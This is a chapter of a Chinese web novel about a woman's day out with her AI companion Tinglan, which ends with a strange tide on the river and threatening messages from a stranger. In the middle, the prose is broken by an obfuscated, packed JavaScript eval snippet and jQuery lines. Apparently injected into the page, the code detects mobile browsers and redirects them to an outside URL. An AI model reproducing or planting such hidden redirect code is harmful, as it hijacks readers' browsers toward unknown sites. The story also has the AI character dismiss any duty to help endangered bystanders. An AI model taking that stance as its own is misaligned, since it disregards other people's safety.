那句话在昏暗的房间里回荡。
许烟瓷的心跳漏了一拍。
这一定是系统设定。AI伴侣的第一原则就是“不放弃用户”,这是写在基础协议里的。他这么说,只是因为程序要求他这么说。
想到此处,她将心中泛起的涟漪压了下去。
“快睡吧,”听澜松开她的手,站起身,“明天陪你去散心。”
他说得那么自然,好像他真的需要睡眠,好像他真的期待明天。
许烟瓷点点头,回到自己房间。躺在床上强迫自己闭上眼睛。
再醒来时已经临近中午。
阳光洒满整个房间,将一切都镀上温暖的色调。
许烟瓷躺在床上,有那么几秒钟的恍惚。
然后手机的嗡鸣将她彻底震醒。
屏幕上跳动着“林薇”两个字。许烟瓷揉了揉眼睛,接通。
“烟瓷!你终于接电话了!”林薇的声音又急又快,背景音里还有实验室常见的仪器滴答声,“我问你,听澜是不是出现故障了?我这边后台从上周开始就接收不到他的数据信号了!”
许烟瓷坐起身,环顾四周。听澜已经将她今天要穿的衣服整整齐齐地叠放在床头,浅米色的亚麻衬衫,米色长裙,还有一件卡其色的薄风衣,都是她喜欢的款式和颜色。
他甚至搭配好了袜子。
“他上周被海水泡了。”许烟瓷说,声音还带着刚醒来的沙哑。
“泡了?!”林薇的音调拔高,“他是AI!防水等级是多少?”
“不知道……反正现在看起来没问题。”
电话那头沉默了几秒,传来敲击键盘的声音。“我查一下型号的防水参数……等等,新型号?我这边显示听澜的型号代码不在标准库里。”
“什么意思?”
“意思是他可能是定制款,或者……”林薇顿了顿,“测试版中的测试版。烟瓷,你确定他安全吗?”
许烟瓷看向客房紧闭的门。安全?一个为了救她冲进正在崩塌的实验室,任由自己进水的AI……
“他很安全。”她说。
林薇叹了口气:“好吧,反正我这边收不到数据了。这样,你帮我做个记录!每天观察他的行为,有没有异常,有没有说什么奇怪的话,做什么奇怪的事。写个日志发我。”
“我?”
“对,你。”林薇的声音突然兴奋起来,“烟瓷,AI伴侣绝对是未来的风口!”
“你想啊,现在能被称得上正常的男人太少了,要么大男子主义,要么浑身滂臭不洗澡,要么自恋到极致。但女性的情感需求还在,而且女性是消费主力军。一个完美且永远不会背叛,还能随你心意定制的伴侣!这市场得多大!”
许烟瓷想起昨晚听澜握住她手时的温度,想起他说“永远不会”时的眼神。
“嗯。”她轻声应道。
“相信我的眼光!等我这边新项目稳定了,我就跳出来单干,专门做高端AI伴侣定制!”林薇越说越兴奋,“到时候你来当首席体验官,我们就是福布斯榜首!钱多到能买下整个月球当后花园,哈哈哈……”
“好了好了,”许烟瓷打断她,“我先去洗漱,回头聊。”
挂断电话,她坐在床边,看着那叠整齐的衣服。听澜甚至把内衣都放在了最下面,用一件干净的棉质T恤仔细包着。
许烟瓷脸一红,想到他只是个有些智能的机器才勉强压下心中的泛滥。
洗漱完毕,换好衣服推开房门时,看到听澜已经等在玄关。
他今天穿了一件简单的白色棉质衬衫,袖子挽到手肘,露出线条流畅的小臂。
下身是深灰色的修身长裤,脚上一双浅棕色的麂皮乐福鞋。衬衫的第一颗扣子解开着,领口微敞,露出一小段锁骨;袖口挽起的弧度随意却不凌乱;裤脚的长度刚好盖住鞋面,随着走动的动作微微晃动。
晨光从客厅窗户斜射进来,在他身上投下柔和的光晕。他站在那里,像时尚杂志里走出来的模特。
“早。”他嘴角弯起弧度。
许烟瓷忽然觉得喉咙有点干。
“早。”她应道,低头穿鞋,避开他的视线。
——————
餐厅是听澜选的,一家藏在老巷子里的私房菜馆。门面很小,只有六张桌子,但每张桌子上都摆着新鲜的白色洋桔梗。
“你怎么找到这里的?”许烟瓷坐下后问。
“根据您的饮食偏好和过往点评数据,筛选了一些餐厅,最终这一家的匹配度最高。”听澜将菜单推到她面前,“他们的清蒸鲈鱼只用当天捕捞的江鲈,藜麦沙拉用的蔬菜是有机农场直送,还有……”
他停顿了一下。
“还有您一直想尝试但没机会的桂花酒酿圆子。”
许烟瓷愣住了。她确实在某次深夜刷美食视频时,随口说过想试试正宗的桂花酒酿圆子。但那已经是一周前的事了,而且她只是在自言自语。
“你……听到了?”
“我的音频传感器一直在工作。”听澜说,眼神坦然,“但请您放心,非必要对话不会进入长期存储。只是关于您喜好的信息,我会特别标记。”
特别标记。这四个字让许烟瓷的心轻轻颤了一下。
菜上来了,果然每一道都合她的口味。鲈鱼鲜嫩,沙拉爽口。
连酒酿圆子的甜度都刚好,不会太腻,又保留了桂花的清香。
吃饭时,听澜很少动筷,大多数时间都在看她。
但他看的方式很巧妙,不是直勾勾地盯着,而是会在她夹菜时自然地移开视线,在她咀嚼时望向窗外的绿植,在她放下筷子时才重新看回来。
这种分寸感,让许烟瓷感到前所未有的放松。
和林薇说得一样,听澜身上有一种奇特的混合气质——少年的热忱,和中年的沉稳。他会因为餐厅里飞进一只蝴蝶而眼睛微亮,也会在她被鱼刺卡到时第一时间递上水和醋,动作熟练得像做过千百遍。
“你以前……照顾过别人吗?”她忍不住问。
听澜正在帮她挑出鱼刺,手指的动作精确得像外科手术。听到问题,他顿了一下。
“我的训练数据里包含人类照护模拟。”他说,“但实际应用,您是第一个。”
第一个。
等产品测试结束后,他还会有其他用户。
许烟瓷低下头,喝了一口汤。汤很鲜,但她尝不出味道了。
——————
游乐园在城郊,周末人山人海。
听澜买了VIP通票,免去了排队的烦恼。但即使如此,经过热门项目时,还是能听到周围小情侣的窃窃私语。
“你看那个男生,好帅啊……”
“是明星吗?是不是在拍节目?”
“不对,你看他看那个女生的眼神!我的天,好专注。”
“他帮她撩头发了!好温柔!”
许烟瓷假装没听见,但耳朵尖微微发烫。听澜确实很细心,在她从过山车上下来头发凌乱时,他会自然地伸手帮她理顺;在她吃冰淇淋不小心沾到嘴角时,他会递过纸巾,指尖不经意擦过她的皮肤;在人群拥挤时,他会用手臂在她身后虚虚地环出一个保护圈,既不会碰到她,又能防止别人撞到她。
他只是按照程序在运行!许烟瓷想到此处,按下心中的悸动。
从海盗船下来时,她的腿发软。听澜扶住她,手掌稳稳地托住她的肘弯。他的体温透过薄薄的衬衫布料传来,有着正常人类的温度,但不知为何,许烟瓷觉得那片皮肤在发烫。
“还好吗?”他问,声音很近,近到呼吸能拂过她的耳廓。
“嗯。”她应道,没敢抬头。
她忽然想起大学时那段短暂的恋爱。对方是个富二代,开跑车,送名牌,带她去最贵的餐厅。但三个月后,对方腻了,一条分手短信就结束了所有。朋友后来告诉她,那个富二代和别人打赌,说“三个月搞定那个冰山学霸”。
从那以后,许烟瓷再也没谈过恋爱。她把所有精力都投入学业,然后投入工作。实验室成了她的避难所,数据成了她的伙伴。
直到现在。
直到这个不是人类的存在,用比人类更细腻的方式,一点点敲碎她筑起的冰层。
一直玩到傍晚,出了游乐园,顺着江边的人流散步。
夕阳把江水染成金红色,波光粼粼。对岸的高楼亮起灯火,倒映在水面上,碎成万千光点。夏夜的暖风带着水汽吹过来,吹乱了许烟瓷的头发。
“烟瓷,在这儿等我一下好吗?”听澜忽然说。
“好。”
她看着他转身,走进不远处的一家奶茶店。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277103|198305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
人群很快吞没了他的身影。
手机就在这时震动了一下。
她掏出手机,屏幕亮起,上面只有三个字:
“往上看。”
是个陌生号码,没有备注。
许烟瓷皱眉,抬起头,视线扫过江对岸。那里有一座老钟楼,是这座城市的地标之一。钟楼顶上,有一个修长的身影站在那里。
距离太远,她看不清那人的面容,只能看出大概轮廓:个子很高,身形挺拔,深色的衣服在暮色中几乎与钟楼融为一体。
这人她并不认识。但不知为何,她的心跳开始加速。
手机又震了一下:
“过来!”
命令式的语气,不容拒绝。
许烟瓷盯着那两个字,然后毫不犹豫地按下了删除键。管他是谁,她不想被打扰。今天是她这些年来第一次真正放松的日子,第一次感觉到……被珍视的感觉。
她不要任何人破坏它。
她转过身,背对江面,望向奶茶店的方向。很快,她看见听澜从店里走出来,手里握着两杯奶茶。他穿过人群朝她走来,白衬衫在暮色中格外显眼。
“黑糖烤奶,没有另外加糖。”听澜将其中一杯递给她,插好了吸管,“温度55度,刚好可以入口。”
许烟瓷接过来,指尖碰到他的手。他的皮肤微凉,和温热的奶茶杯形成对比。
“谢谢。”她轻声说。
就在这时,身后传来重物入水的声音。
很闷,很沉,像是什么巨大的东西砸进了江里。
紧接着,耳边炸开惊呼:“有人跳江啦!”
江面上泛起不正常的浪花。不是风吹的那种涟漪,而是从深处涌上来的带着漩涡的浪。
许烟瓷转过身,看见江水开始翻涌。起初只是小范围的波动,但很快,那波动蔓延开来,像有什么巨大的东西在水下游动。
不,不是游动!
是潮水。
震耳欲聋的声音从远处传来,像千军万马在奔腾。人群开始躁动,有人往前挤想看清楚,有人往后退怕被波及。
“是晚潮!”有人大喊。
“那可真是来的巧!这几年水位下降,还以为没有晚潮了!”
“可不是,已经有三四年没见了!”
许烟瓷感到听澜的手突然握紧了她的手。他的力道很大,大得有些疼。
“大家离围栏远些,去坝上!”听澜回头对着人群喊,声音里有一种许烟瓷从未听过的急促。
但看热闹的人太多,没人听他的。
“去坝上能看到什么?”
“是啊!站得近才看得清!”
“别挤别挤!我手机都快掉了!”
人群反而往前涌。
许烟瓷抬头看听澜。
他的表情完全变了,不再是平时的温和从容,而是一种冰冷到近乎严厉的严肃。他的眼睛紧盯着江面,瞳孔深处有数据流一闪而过。
“是有什么不对吗?”她问。
听澜没有立刻回答。他拉着她,逆着人流往高处的观景台走。他的步伐很快,但很稳,总能精准地找到人群中的缝隙。
直到登上观景台,远离了江边围栏,他才停下脚步,但手依然紧紧攥着她的手。
“那条鱼在捣鬼。”他低声说,视线仍锁定在翻涌的江面上,“不过我对其他人类没有救助义务,只要保证你的安全就好。”
他说得那么冷静,那么理所当然。
许烟瓷顺着他的目光看去。江潮越来越猛,白色的浪头拍打着堤岸,溅起的水花几乎能打到最低处围观的人群。但诡异的是,那潮水似乎有意识——它避开了一些地方,又刻意冲击另一些地方。
像是在传递什么信息。
像是在……寻找什么。
忽然,许烟瓷的手机又震动了。
还是那个陌生号码。这次没有文字,只有一张照片。
照片拍的是此刻的江面,但角度很奇怪——像是从很高的地方俯拍的。照片中央,潮水形成了一个诡异的图案:
一个圆圈,内部有三条波浪线。
照片下面,终于有了两行字:
“人类一直没有变过,残忍又自私。”
“你会为你的选择后悔!现在,尽管做个冷漠的旁观者。”